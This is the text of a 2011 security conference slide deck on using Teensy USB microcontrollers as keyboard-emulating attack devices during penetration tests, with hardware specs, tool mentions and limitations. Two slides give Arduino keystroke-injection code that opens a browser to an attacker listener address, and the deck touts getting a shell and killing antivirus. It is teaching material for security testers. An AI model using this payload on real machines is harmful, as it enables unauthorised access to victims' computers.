Penetrating through a Teensy Hole Human Interface Device Attack Vectors

2. |EH (Certified Ethical Hacker)
NSA-IAMIEM (NSA Information Assurance Methodology)
Other Security Related Stuff:
Contributor: The Ethical Hacker. Net
Contributor:Hakin9 Magazine
Contributor: Penetration Testing Execution Standard
Information Security Mentors Project (Mentor)

3. David Crenshaw Irongeek
Darren Kitchen Hak5
Robin Wood
David Kennedy (ReLik) SET Toolkit
http://www.irongeek.com/i.php?page=security/programmable-hid-usb-keystroke-
dongle

4.  USB-based microcontroller development system
 AVR Processor, 16 MHz
 Single push button programming
 Small Size
 Works with Mac OS X, Linux & Windows
 Flash Memory 32256

5.  USB-based microcontroller development system
 AVR Processor, 20 MHz
 Single push button programming
 Small Size
 Works with Mac OS X, Linux & Windows
 Flash Memory 130048

6.  Allows for keystroke programming
 Not dependent on U3 auto run
 Can provide you a shell and kill antivirus faster than you can!
 Cheap Economy is bad and you need to spend less! ($16 $24)
 Easily Implantable (More on This Later)

7. Teensy Device
Teensy Loader Software
Arduino Software
Teensy Duino Software
Serial Install
Mini B USB Cable
Computer
Your Brain and some good ideas

8.  Can be programmed in C or Arduino Language
http://www.pjrc.com/teensy

9.  Limited Scope
 Limited Attack Vectors
 You only get 5 hardened IP addresses
 Be Finished by Tomorrow!!!!
 Laughing CISO’s “What you not in yet?”

12. SET + Metasploit Creates PDE File and Listener for you

13. Auto Generated Code
Does things you probably don’t need
Do you really want to spend that time swimming through someone
else’s code?
Don’t be lazy

14. Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);
Keyboard.set_key1(KEY_R);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();

15. Keyboard.set_key1(KEY_BACKSPACE);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.println("iexplore.exe");
Keyboard.set_key1(KEY_ENTER);
Keyboard.set_key1(0);
delay(5000);
Keyboard.set_modifier(MODIFIERKEY_ALT);
Keyboard.set_key2(KEY_D);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.set_key2(0);
Keyboard.println("http://YourIPAddressForyourlistener goes here");

18.  Target needs to be logged in!
 Limited to the access rights of the logged on user!
 Lots of things can and sometimes do go wrong!
 If you try to drop shell right away you will be caught

20. LinkedIn: Wardell Motley
Twitter: Infowarrior0
Email:infowarrior0@gmail.com
Please Put “BSides DFW 2011 in the Subject Line”

21. Contact Information:
Infowarrior0@gmail.com
LinkedIn: Wardell Motley
Twitter:Infowarrior0